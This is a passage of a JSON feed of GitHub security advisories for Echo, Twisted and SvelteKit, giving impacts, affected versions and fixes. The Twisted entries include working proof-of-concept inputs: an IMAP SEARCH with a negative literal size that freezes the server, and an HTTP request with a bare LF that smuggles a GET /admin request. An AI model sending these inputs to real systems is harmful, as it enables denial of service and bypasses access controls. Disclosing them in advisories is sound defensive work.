use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h53f-rm2w-w7rg","url":"https://github.com/advisories/GHSA-h53f-rm2w-w7rg","type":"primary","publishedAt":"2026-10-23T20:50:25.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h53f-rm2w-w7rg, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-9969-6676-49h5","cveId":null,"aliases":[],"kind":"vulnerability","title":"Echo: WebSocket proxy can retain connections and handlers after client disconnect","summary":"Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.\n\nRepeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.","detail":"## Impact\n\nEcho's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.\n\nRepeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.\n\n## Affected versions and patch\n\nAffected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.\n\nUpgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1) or [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.\n\nFix commits: [v4](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f), [v5](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).\n\n## Workarounds\n\nDisable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.\n\n## Credits\n\nReported by @irisitymichaelgrundberg.\n\nAffected package ranges reported by GitHub:\ngithub.com/labstack/echo/v4: >= 4.15.0, < 4.16.1\ngithub.com/labstack/echo/v5: >= 5.0.0, < 5.4.1","action":"GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1; github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:50:17.000Z","updatedAt":"2026-10-23T20:50:18.000Z","regions":["Global"],"vendor":null,"product":"github.com/labstack/echo/v4, github.com/labstack/echo/v5","stacks":["Go modules","github.com/labstack/echo/v4","github.com/labstack/echo/v5","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-9969-6676-49h5","asOf":"2026-10-23T20:50:18.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9969-6676-49h5","url":"https://github.com/advisories/GHSA-9969-6676-49h5","type":"primary","publishedAt":"2026-10-23T20:50:17.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9969-6676-49h5, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-h7wr-284f-5qvc","cveId":null,"aliases":[],"kind":"vulnerability","title":"Echo: Decompress permits unbounded gzip expansion in v4","summary":"Echo v4's opt-in Decompress middleware exposed a gzip-decoded request stream without limiting its expanded size. A small compressed request could therefore produce a very large decoded body. Handlers that read or bind that body could consume excessive memory or CPU, and repeated or concurrent requests could cause denial of service.\n\nThe middleware is not enabled by default. A limit on the compressed request size alone does not bound the decompressed size. Applications that already apply an effective body limit after decompression have reduced exposure.","detail":"## Impact\n\nEcho v4's opt-in Decompress middleware exposed a gzip-decoded request stream without limiting its expanded size. A small compressed request could therefore produce a very large decoded body. Handlers that read or bind that body could consume excessive memory or CPU, and repeated or concurrent requests could cause denial of service.\n\nThe middleware is not enabled by default. A limit on the compressed request size alone does not bound the decompressed size. Applications that already apply an effective body limit after decompression have reduced exposure.\n\n## Affected versions and patch\n\nEcho v4 versions through v4.16.0 are affected. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1).\n\nThe patch adds `DecompressConfig.MaxDecompressedSize`, defaulting to 100 MiB when zero. A value of `-1` explicitly disables the limit. Reading beyond the cap returns `ErrStatusRequestEntityTooLarge` (HTTP 413), including through JSON and XML binding. Bodies exactly at the configured limit remain valid. Streaming enforcement requires callers to handle body-read errors.\n\n[Fix commit](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f).\n\n## Workarounds\n\nDisable gzip request decompression on exposed routes, or place BodyLimit after Decompress so the application limit applies to decoded bytes. Apply suitable request deadlines and concurrency limits as well.\n\n## Credits\n\nReported by @q490107865. The exact-limit behavior incorporates @Shubham-Padkonde's work in [#3136](https://github.com/labstack/echo/pull/3136).\n\nAffected package ranges reported by GitHub:\ngithub.com/labstack/echo/v4: >= 4.0.0, < 4.16.1","action":"GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:49:49.000Z","updatedAt":"2026-10-23T20:49:50.000Z","regions":["Global"],"vendor":null,"product":"github.com/labstack/echo/v4","stacks":["Go modules","github.com/labstack/echo/v4","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-h7wr-284f-5qvc","asOf":"2026-10-23T20:49:50.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h7wr-284f-5qvc","url":"https://github.com/advisories/GHSA-h7wr-284f-5qvc","type":"primary","publishedAt":"2026-10-23T20:49:49.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h7wr-284f-5qvc, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-x9ff-22gv-65f4","cveId":null,"aliases":[],"kind":"vulnerability","title":"Echo: BodyDump can discard BodyLimit overflow errors for unknown-length requests","summary":"Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.\n\nThe handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.","detail":"## Impact\n\nEcho v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.\n\nThe handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.\n\n## Affected versions and patch\n\nAll v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.\n\nUpgrade to [v5.4.1](https://github.com/labstack/echo/releases/tag/v5.4.1). BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. [Fix commit](https://github.com/labstack/echo/commit/1855061e572ae9dab727c811d8382f266bfbaaec).\n\nStreaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.\n\n## Workarounds\n\nDisable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.\n\n## Credits\n\nReported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in [#3105](https://github.com/labstack/echo/pull/3105).\n\nAffected package ranges reported by GitHub:\ngithub.com/labstack/echo/v5: >= 5.0.0, < 5.4.1","action":"GitHub lists first patched versions: github.com/labstack/echo/v5: 5.4.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:49:11.000Z","updatedAt":"2026-10-23T20:49:12.000Z","regions":["Global"],"vendor":null,"product":"github.com/labstack/echo/v5","stacks":["Go modules","github.com/labstack/echo/v5","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-x9ff-22gv-65f4","asOf":"2026-10-23T20:49:12.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-x9ff-22gv-65f4","url":"https://github.com/advisories/GHSA-x9ff-22gv-65f4","type":"primary","publishedAt":"2026-10-23T20:49:11.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-x9ff-22gv-65f4, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-f48p-c9v4-h7xv","cveId":null,"aliases":[],"kind":"vulnerability","title":"Echo: BodyDump captures request and response bodies without size limits in v4","summary":"Echo v4's opt-in BodyDump middleware read complete request bodies into memory and retained complete response bodies without a capture limit. A client able to submit large requests to a route using BodyDump could cause large allocations before the application handler ran. Large responses, including responses whose size can be influenced by a client, also caused an additional unbounded capture allocation.\n\nRepeated or concurrent requests can exhaust process memory and cause denial of service. BodyDump is not enabled by default. Deployments with effective request limits may reduce the request-side exposure; response capture requires separate consideration.","detail":"## Impact\n\nEcho v4's opt-in BodyDump middleware read complete request bodies into memory and retained complete response bodies without a capture limit. A client able to submit large requests to a route using BodyDump could cause large allocations before the application handler ran. Large responses, including responses whose size can be influenced by a client, also caused an additional unbounded capture allocation.\n\nRepeated or concurrent requests can exhaust process memory and cause denial of service. BodyDump is not enabled by default. Deployments with effective request limits may reduce the request-side exposure; response capture requires separate consideration.\n\n## Affected versions and patch\n\nEcho v4 versions through v4.16.0 are affected. Upgrade to [v4.16.1](https://github.com/labstack/echo/releases/tag/v4.16.1).\n\nThe patch adds `BodyDumpConfig.MaxRequestBytes` and `MaxResponseBytes`, each defaulting to 5 MiB when zero. A value of `-1` explicitly restores unlimited capture. The complete request remains readable by the handler and the complete response is delivered to the client; only the callback's captured data is bounded. Request close behavior and read errors are preserved.\n\n[Fix commit](https://github.com/labstack/echo/commit/3fb0ba7e17645bb65611e2a08875d0a2f65c421f).\n\n## Workarounds\n\nDisable BodyDump on exposed routes, particularly large uploads and downloads. Alternatively, enforce body-size limits before BodyDump and independently bound the responses that the application generates.\n\n## Credits\n\nReported by @q490107865. The patch also incorporates request-body preservation work from @jakezwang in [#3105](https://github.com/labstack/echo/pull/3105).\n\nAffected package ranges reported by GitHub:\ngithub.com/labstack/echo/v4: >= 4.0.0, < 4.16.1","action":"GitHub lists first patched versions: github.com/labstack/echo/v4: 4.16.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:48:44.000Z","updatedAt":"2026-10-23T20:48:45.000Z","regions":["Global"],"vendor":null,"product":"github.com/labstack/echo/v4","stacks":["Go modules","github.com/labstack/echo/v4","go"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-f48p-c9v4-h7xv","asOf":"2026-10-23T20:48:45.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-f48p-c9v4-h7xv","url":"https://github.com/advisories/GHSA-f48p-c9v4-h7xv","type":"primary","publishedAt":"2026-10-23T20:48:44.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-f48p-c9v4-h7xv, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T16:10:56.739Z","supports":"The API page supplied GHSA-f48p-c9v4-h7xv, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115774","cveId":"CVE-2026-115774","aliases":["GHSA-2qrf-pqgx-qh9v"],"kind":"vulnerability","title":"Twisted: Denial of Service in the Twisted IMAP4 Server via a Negative Literal Size in SEARCH","summary":"An infinite-loop vulnerability (CWE-835) in the Twisted IMAP4 server lets an authenticated client freeze the whole process with one small command. `twisted.mail.imap4.parseNestedParens` reads an IMAP literal size with `int()` and never rejects a negative value. A negative size such as `{-100}` drives the parser cursor negative, and because a negative Python index wraps around the end of the string instead of raising, the scanning loop never terminates. It runs synchronously on the single-threaded reactor, so one `SEARCH` command holds the reactor at full CPU forever and every other connection stops being served.\n\nMeeting an inline literal, `parseNestedParens` reads the size between the braces and advances the cursor past the body:","detail":"## Summary\n\nAn infinite-loop vulnerability (CWE-835) in the Twisted IMAP4 server lets an authenticated client freeze the whole process with one small command. `twisted.mail.imap4.parseNestedParens` reads an IMAP literal size with `int()` and never rejects a negative value. A negative size such as `{-100}` drives the parser cursor negative, and because a negative Python index wraps around the end of the string instead of raising, the scanning loop never terminates. It runs synchronously on the single-threaded reactor, so one `SEARCH` command holds the reactor at full CPU forever and every other connection stops being served.\n\n## Details\n\nMeeting an inline literal, `parseNestedParens` reads the size between the braces and advances the cursor past the body:\n\n```python\n# twisted/mail/imap4.py parseNestedParens\nliteralSize = int(s[i + 1 : end]) # no sign check\ncontentStack[-1].append((s[end + 3 : end + 3 + literalSize],))\ni = end + 3 + literalSize # negative size -> i goes negative\n```\n\n`int(b\"-100\")` is `-100`, so `i` goes negative; the loop condition `i < len(s)` stays true and `s[i : i + 1]` on a negative index never raises, so the cursor cycles forever. The `_literalStringLimit` guard only covers the synchronizing-literal continuation path, not this inline branch. The call is reached from `select_SEARCH` through `arg_searchkeys`, dispatched only in the selected state, so a valid login and a selected mailbox (any low-privilege account) suffice. It runs in the reactor thread, and the connection timeout cannot fire because the reactor itself is frozen.\n\nAffected product: Twisted (`twisted.mail`), the IMAP4 server `twisted.mail.imap4.IMAP4Server`\nAffected versions: 26.4.0 and earlier\n\n## PoC\n\nLog in, select a mailbox, and send a `SEARCH` whose literal size is negative:\n\n```text\nC: t1 LOGIN testuser password-test\nC: t2 SELECT INBOX\nC: t3 SEARCH {-100}zzzzzzzzzz\n```\n\nThe server never responds and one core stays at 100 percent. In a measured run a health service co-hosted on the same reactor stopped answering the instant the command arrived, showing the freeze hits the whole process and not just the attacking connection. A valid `{5}zzzzz` completes normally and a non-numeric `{abc}` is rejected with a parse error, which isolates the cause to the missing negative-size check.\n\n## Impact\n\nA remote denial of service. One command of about ten bytes freezes the single-threaded reactor, so it stops serving not only every other IMAP connection but every other service co-hosted in the same process (for example SMTP and POP3 under `twistd mail`), and no timeout can recover it until the process is restarted. It requires an authenticated session, so any account holder can trigger it; there is no confidentiality or integrity impact and no code execution.\n\nAffected package ranges reported by GitHub:\nTwisted: <= 26.4.0","action":"GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:46:12.000Z","updatedAt":"2026-10-23T20:46:13.000Z","regions":["Global"],"vendor":null,"product":"Twisted","stacks":["Python packages (PyPI)","Twisted","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-2qrf-pqgx-qh9v","asOf":"2026-10-23T20:46:13.000Z"},"epss":{"probability":0.0043,"percentile":0.37001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115774&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2qrf-pqgx-qh9v","url":"https://github.com/advisories/GHSA-2qrf-pqgx-qh9v","type":"primary","publishedAt":"2026-10-23T20:46:12.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-2qrf-pqgx-qh9v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-2qrf-pqgx-qh9v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-2qrf-pqgx-qh9v, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115774&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115774, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115877","cveId":"CVE-2026-115877","aliases":["GHSA-q7qq-6mhp-9rc4"],"kind":"vulnerability","title":"Twisted: HTTP Request Smuggling in twisted.web via a Bare CR or LF in a Header Value","summary":"An incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. `twisted.web.http.HTTPChannel.headerReceived` rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check.\n\n`headerReceived` splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL:","detail":"## Summary\n\nAn incomplete header-value validation (CWE-444) in the Twisted HTTP server lets a bare carriage return or line feed in a header value hide a following header from the parser. `twisted.web.http.HTTPChannel.headerReceived` rejects a NUL byte in a header value but not a bare CR or LF, even though RFC 9110 section 5.5 requires a recipient to reject all three. Because the channel splits requests only on CRLF, a value carrying a bare LF and a second header arrives as one line, so the second header is folded into the value and the request is framed with no body. A front-end that treats the bare LF as a line terminator frames the request differently, and the disagreement lets an attacker smuggle a request past it. This is an incomplete fix of the earlier Twisted request-smuggling advisories, which guarded the NUL sibling of this exact check.\n\n## Details\n\n`headerReceived` splits a header line on the first colon, strips space and tab from the value, and validates it with a single test that rejects only NUL:\n\n```python\n# twisted/web/http.py HTTPChannel.headerReceived\ndata = data.strip(b\" \\t\")\nif b\"\\x00\" in data: # NUL rejected; a bare CR or LF is not\n self._respondToBadRequestAndDisconnect()\n return False\n```\n\nThe channel delimiter is CRLF, so `Foo: x\\nContent-Length: 39` is one line: the split yields name `Foo` and value `x\\nContent-Length: 39`, `strip` leaves the LF, and the NUL check passes. `_maybeChooseTransferDecoder` is then called with `Foo`, never sees a `Content-Length`, and installs no body decoder, so the request is framed with an empty body. The header name and request line already reject CR and LF, so the value is the only gap.\n\nAffected product: Twisted, `twisted.web.http.HTTPChannel`\nAffected versions: 26.4.0 and earlier\n\n## PoC\n\nFeed one connection a request whose header value carries a bare LF and a `Content-Length`, followed by a second request in the bytes after it: `POST /public HTTP/1.1\\r\\nHost: v\\r\\nFoo: x\\nContent-Length: 44\\r\\n\\r\\nGET /admin HTTP/1.1\\r\\nHost: internal\\r\\n\\r\\n`. Twisted parses two requests and serves both, so the smuggled `GET /admin` returns the /admin response body even though the visible request was only `POST /public`. The bare CR variant behaves identically, and a NUL in the value is rejected, which isolates the missing CR and LF checks.\n\nBehind a front-end that treats the bare LF as a line terminator, the front-end frames one `POST /public` and forwards a body while Twisted frames a second `GET /admin`; the extra response then poisons the shared connection, so a later victim receives the attacker's `GET /admin` response.\n\n## Impact\n\nThis is an HTTP request-smuggling exposure (CWE-444) from inconsistent interpretation of a request (CWE-436). Through a front-end that accepts a bare CR or LF as a line terminator, an attacker can smuggle a request the front-end never sees, bypassing front-end access controls, poisoning a shared connection so a later victim receives the attacker's response, and poisoning a cache. Twisted is the strict endpoint that frames the request without a body, so it is realized only behind such a proxy, and there is no code execution.\n\nAffected package ranges reported by GitHub:\nTwisted: <= 26.4.0","action":"GitHub lists first patched versions: Twisted: 26.10.0rc1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:44:43.000Z","updatedAt":"2026-10-23T20:44:44.000Z","regions":["Global"],"vendor":null,"product":"Twisted","stacks":["Python packages (PyPI)","Twisted","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-q7qq-6mhp-9rc4","asOf":"2026-10-23T20:44:44.000Z"},"epss":{"probability":0.00257,"percentile":0.17142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115877&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-q7qq-6mhp-9rc4","url":"https://github.com/advisories/GHSA-q7qq-6mhp-9rc4","type":"primary","publishedAt":"2026-10-23T20:44:43.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-q7qq-6mhp-9rc4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-q7qq-6mhp-9rc4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-q7qq-6mhp-9rc4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-q7qq-6mhp-9rc4, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-q7qq-6mhp-9rc4, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115877&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115877, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114061","cveId":"CVE-2026-114061","aliases":["GHSA-27mw-82g8-phjj"],"kind":"vulnerability","title":"SvelteKit : XSS via untrusted cache-control header in prerendered page","summary":"Applications that prerender pages and use `setHeaders` to set a `cache-control` header from an untrusted source are vulnerable to cross-site scripting (XSS).\n\nSvelteKit inserts the header value into a ` ` tag without escaping it. An attacker who can influence this value at prerender time can break out of the `content` attribute and inject HTML or JavaScript into the generated page. The injected code can then execute when users visit the page.","detail":"### Impact\n\nApplications that prerender pages and use `setHeaders` to set a `cache-control` header from an untrusted source are vulnerable to cross-site scripting (XSS).\n\nSvelteKit inserts the header value into a ` ` tag without escaping it. An attacker who can influence this value at prerender time can break out of the `content` attribute and inject HTML or JavaScript into the generated page. The injected code can then execute when users visit the page.\n\n### Patches\n\nThe fix escapes the header value before inserting it into the generated HTML. Upgrade to `@sveltejs/kit` version 3.0.0 or later.\n\n### Workarounds\n\nAvoid forwarding untrusted `cache-control` header values with `setHeaders` on prerendered pages. Use a fixed, trusted cache policy instead.\n\nAffected package ranges reported by GitHub:\n@sveltejs/kit: < 3.0.0","action":"GitHub lists first patched versions: @sveltejs/kit: 3.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-23T20:43:30.000Z","updatedAt":"2026-10-23T20:43:31.000Z","regions":["Global"],"vendor":null,"product":"@sveltejs/kit","stacks":["JavaScript packages 